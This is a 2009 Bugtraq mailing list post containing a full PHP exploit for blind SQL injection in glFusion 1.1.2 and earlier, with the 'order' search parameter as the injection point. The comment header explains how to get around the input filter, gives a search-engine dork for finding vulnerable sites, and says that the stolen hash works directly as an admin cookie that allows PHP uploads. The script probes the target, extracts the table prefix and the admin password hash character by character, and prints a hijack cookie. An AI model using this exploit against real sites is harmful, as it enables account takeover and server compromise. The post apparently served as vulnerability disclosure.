Date: Sat, 28 Mar 2009 22:37:13 -0600
From: nospam@...il.it
To: bugtraq@...urityfocus.com
Subject: glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit

 
<?php
    /*
        glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit
        by Nine:Situations:Group::bookoo

        working against Mysql >= 4.1
        php.ini independent
		
	  our site: http://retrogod.altervista.org/
        software site: http://www.glfusion.org/

        google dork: "Page created in" "seconds by glFusion" +RSS

        Vulnerability, sql injection in 'order' and 'direction' arguments:
        look ExecuteQueries() function in /private/system/classes/listfactory.class.php, near line 336:
        ...

        // Get the details for sorting the list
        $this->_sort_arr['field'] = isset($_REQUEST['order']) ? COM_applyFilter($_REQUEST['order']) : $this->_def_sort_arr['field'];
        $this->_sort_arr['direction'] = isset($_REQUEST['direction']) ? COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction'];
        if (is_numeric($this->_sort_arr['field'])) {
            $ord = $this->_def_sort_arr['field'];
            $this->_sort_arr['field'] = SQL_TITLE;
        } else {
            $ord = $this->_sort_arr['field'];
        }

        $order_sql = ' ORDER BY ' . $ord . ' ' . strtoupper($this->_sort_arr['direction']);
        ...

        filters are inefficient, see COM_applyFilter() which calls COM_applyBasicFilter()
        in /public/lib-common.php near line 5774.

        We are in an ORDER clause and vars are not surrounded by quotes,
        bad chars are ex. "," , "/" ,"'", ";", "\",""","*","`"
	  but what about spaces and "("... you can use a CASE WHEN .. THEN .. ELSE .. END
	  construct instead of ex. IF(..,..,..) and "--" instead of "/*" to close
	  your query.
	  And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of
        SUBSTR(str,n,n) in a sub-SELECT statement.
	  Other attacks are possible, COM_applyFilter() is a very common used one.
	
	  Additional notes: 'direction' argument is uppercased by strtoupper(),
	  you know that table identifiers on Unix-like systems are case sensitives
	  but not on MS Windows, however I choosed to inject in the 'order' one
        for better results.
	  Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
	  $_COOKIE[], which is not intended I suppose.
	  
        This exploit extracts the hash from users table; also note that you do
        not need to crack the hash, you can authenticate as admin with the
        cookie:
		
	  glfusion=[uid]; glf_password=[hash];
		
	  as admin you can upload php files in public folders!
		
	  Very soft mitigations: glFusion does not show the table prefix in sql
        errors, default however is 'gl_'. I prepared a fast routine to extract
        it from information_schema db if availiable.
	  To successfully interrogate MySQL you need at least 2 records in the
        same topic section, however the default installation create 2 links with
        topic "glFusion"
        
    */

        $err[0]="[!] This script is intended to be launched from the cli!";
        $err[1]="[!] You need the curl extesion loaded!";

	  if (php_sapi_name() <> "cli") {
            die($err[0]);	
        }
        if (!extension_loaded('curl')) {
            $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
            if ($win) {
			    !dl("php_curl.dll") ? die($err[1]) : nil;
			}
			else {
			    !dl("php_curl.so") ? die($err[1]) : nil;
			}
        }

	  function syntax(){
	      print (			
	             "Syntax: php ".$argv[0]." [host] [path] [[port]] [OPTIONS]                \n".
	             "Options:                                                                 \n".
		       "--port:[port]       - specify a port                                     \n".
		       "                      default -> 80                                      \n".
		       "--prefix            - try to extract table prefix from information.schema\n".
		       "                      default -> gl_                                     \n".
		       "--uid:[n]           - specify an uid other than default (2,usually admin)\n".
		       "--proxy:[host:port] - use proxy                                          \n".
		       "--enforce           - try even with 'not vulnerable' message             ");
	     die();
	  }

        error_reporting(E_ALL ^ E_NOTICE);
        $host=$argv[1];
        $path=$argv[2];
        $prefix="gl_";      //default
        $uid="2";
        $where= "uid=$uid"; //user id, usually admin, anonymous = 1

	  $argv[2] ? print("[*] Attacking...\n") : syntax();
        $_f_prefix=false;
        $_use_proxy=false;
        $port=80;
        $_enforce=false;

        for ($i=3; $i<$argc; $i++){
            if ( stristr($argv[$i],"--prefix")){
	          $_f_prefix=true;
	      }
	      if ( stristr($argv[$i],"--proxy:")){
	          $_use_proxy=true;
		    $tmp=explode(":",$argv[$i]);
		    $proxy_host=$tmp[1];
		    $proxy_port=(int)$tmp[2];
	      }
	      if ( stristr($argv[$i],"--port:")){
	          $tmp=explode(":",$argv[$i]);
		    $port=(int)$tmp[1];
	      }
	      if ( stristr($argv[$i],"--enforce")){
	          $_enforce=true;
	      }
	      if ( stristr($argv[$i],"--uid")){
		    $tmp=explode(":",$argv[$i]);
		    $uid=(int)$tmp[1];
		    $where="uid=$uid";			
	      }
	  }

        $url = "http://$argv[1]:$port";

        function _s($url,$request)
        {
            global $_use_proxy,$proxy_host,$proxy_port;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,$url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");
            curl_setopt($ch, CURLOPT_TIMEOUT, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            if ($_use_proxy){
	        curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
            }
            $_d = curl_exec($ch);
	    if (curl_errno($ch)) {
                die("[!] ".curl_error($ch)."\n");
            } else {
                curl_close($ch);
            }
            return $_d;
        }

        function chk_err($s){
            if (stripos ($s,"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64")){
	        return true;
	    }
	    else {
	        return false;
	    }
        }

	function xtrct_tpc($_h){
	    $_x=explode("\x69\x6e\x64\x65\x78\x2e\x70\x68\x70\x3f\x74\x6f\x70\x69\x63\x3d",$_h);
	    $_y=array();
	    for ($i=1; $i<count($_x); $i++){
                $_tmp=explode("\x22",$_x[$i]);
                if ((!in_array($_tmp[0],$_y)) and ($_tmp[0]<>'')) {
                    $_y[$i]=$_tmp[0];
                }
            }
	    return $_y;
        }

	$url ="http://$host:$port".$path."index.php";
      $out= _s($url,"");
	$_tpcs=xtrct_tpc($out);
	$_types=array("links","stories","filemgmt","forum");
	$_t=false;
	for ($i=0; $i<count($_tpcs); $i++){
	    for ($j=0; $j<count($_types); $j++){
	        $url ="http://$host:$port".$path."search.php?query=a+a+a&keyType=all&datestart=&dateend=&topic=".$_tpcs[$i]."&type=".$_types[$j]."&author=0&results=25&mode=search";
              $out= _s($url,"");
              $mtchs=explode("\x3e\x32\x2e", $out);
              if (count($mtchs)==2){
                  $_t=true;
		      break;	
		  }
          }
      }

      if ($_t==true){
          $type = $_types[$j];
          $topic= $_tpcs[$i];
      } else {
          $type=  "links";         //section with at least 2 records of the same topic
          $topic= "glFusion";      //existing topic in section
      }

      print("[*] topic -> '".$topic."', type -> '".$type."'\n");
      $prepend="query=&topic=".$topic."&keyType=phrase";
	
	//checking for vulnerability existence ...
	$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search&order=";
      $_d="order=--;";
	$out= _s($url,$_d);

	//version compatibility
      if (stripos($out,"\x73\x68\x6f\x75\x6c\x64\x20\x68\x61\x76\x65\x20\x61\x74\x20\x6c\x65\x61\x73\x74\x20\x33\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73")){
	    $prepend="query=a+a+a&topic=0&keyType=all";
	    $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search";
    	    $out= _s($url,$_d);
	}

      if (chk_err($out)) {
	    print("[*] Vulnerable ...\n");
	} else {
	    print("[!] Not vulnerable ...\n");
	    if (!$_enforce){
	        die;	
	    }
	}
	
	switch ($type) {
            case $_types[0]:
                $_order = array("id","url","description","title","hits","date","uid");
	      break;
            case $_types[1]:
                $_order = array("id","title","description","date","uid","hits","url");
            break;
            case $_types[2]:
                $_order = array("id","uid","comments","hits","date","description","url");
            break;
            case $_types[3]:
                $_order = array("id","name","forum","date","title","description","hits","uid");
            break;

      } 	

      function xtrct_lnk($_h){
	    $_x=explode("\x3e\x31\x2e",$_h);
          $_x=explode("\x3c\x61\x20\x68\x72\x65\x66\x3d\x22",$_x[1]);
          $_x=explode("\x22",$_x[1]);
	    return html_entity_decode($_x[0]);
      }

	//checking for exploitability ...
	$sql = urlencode("(CASE WHEN (SELECT 1) THEN 1 ELSE 1 END) LIMIT 1--");
      $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
      $_d="order=".$sql.";";
	$out= _s($url,$_d);
      if (chk_err($out)) {
     	    die("[!] Mysql < 4.1 ...");
	} else {
	    print "[*] Subquery works, exploiting ...\n";
	}
	
      $_lnks = array();
	$v = array();
	for ($i=0; $i<count($_order); $i++){
	    $sql = urlencode("$_order[$i] LIMIT 1--");
          $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
          $_d="order=".$sql.";";
	    $_o= _s($url,$_d);
          $l=xtrct_lnk($_o);
	    if (!in_array($l,$_lnks)) {
	        array_push($_lnks,$l);
		  array_push($v,$_order[$i]);
	    }
	    if (count($v)>1) {
	        print "[*] '".$v[0]."' and '".$v[1]."' in ORDER clause returs different records, good! \n";
	        break;
	    }
      }

      if  (count($v)<=1) {die("[!] Unable to interrogate database: ".count(v)." record(s) in table ... need at least 2 with topic '".$topic." in section '".$type."' !");}
   	
      function find_prefix(){
          global $_lnks ,$v, $type, $host, $port, $path, $prepend;
          $_table_name="";
          $j=1;
          print "[*] Table name -> ";
    	    while (!strstr($_table_name,chr(0))){
              $mn=0x00;$mx=0xff;
	        while (1){
	            if (($mx + $mn) % 2 ==1){
                      $c= round(($mx + $mn) / 2) - 1;
                   } else {
		          $c= round(($mx + $mn) / 2);
	            }
	            $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) >= ".$c.") FROM information_schema.TABLES WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                  $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
		      $_d="order=".$sql.";";
		      $_o= _s($url,$_d);
		      if (chk_err($_o)) {
     	                die("\n[!] information_schema not availiable!");
	            }
                  $l=xtrct_lnk($_o);
                  if ($l==$_lnks[0]){
                      $mn = $c;
		      }
                  else {
                      $mx = $c - 1;	
	            }
			
		      if (($mx-$mn==1) or ($mx==$mn)){
		          $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) = ".$mn.") FROM information_schema.tables WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                      $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
		          $_d="order=".$sql.";";
		          $_o= _s($url,$_d);
		          $l=xtrct_lnk($_o);
		          if ($l==$_lnks[0]){
                          print chr($mn);
                          $_table_name.=chr($mn);
                      } else {
	                    print chr($mx);	
	                    $_table_name.=chr($mx);
	                }
	                break;
	            }
	        }
	    $j++;
          }
	    print "\n";
	    $_prefix = str_replace("trackbackcodes","",$_table_name);
	    return $_prefix;
      }

      if ($_f_prefix == true) {
          $prefix=find_prefix();
	    print "[*] Table prefix -> ".$prefix."\n";
      }

      $c=array();$c=array_merge($c,range(0x30,0x39));$c=array_merge($c,range(0x61,0x66));
      print "[*] hash -> ";
      $_hash="";
      for ($j=1; $j<0x21; $j++){
          for ($i=1; $i<=0xff; $i++){
	        $f=false;
 	        if (in_array($i,$c)){
	            $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(PASSWD FROM $j FOR 1))=$i) FROM ".$prefix."users WHERE $where LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                  $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
                  $_d="order=".$sql.";";
		      $_o= _s($url,$_d);
		      if (chk_err($_o)) {
     	                die("\n[!] wrong table prefix!");
	            }
                  $l=xtrct_lnk($_o);
                  if ($l==$_lnks[0]){
                      $f=true;
		          $_hash.=chr($i);
		          print chr($i); break;
		      }
              }
	    }
	    if ($f==false){
              die("\n[!] Unknown error ...");		
	    }
      }  
      print "\n[*] your cookie -> glfusion=".$uid."; glf_password=".$_hash."; glf_theme=nouveau;";
?>

original url: http://retrogod.altervista.org/9sg_glfusion_sql.html

Powered by blists - more mailing lists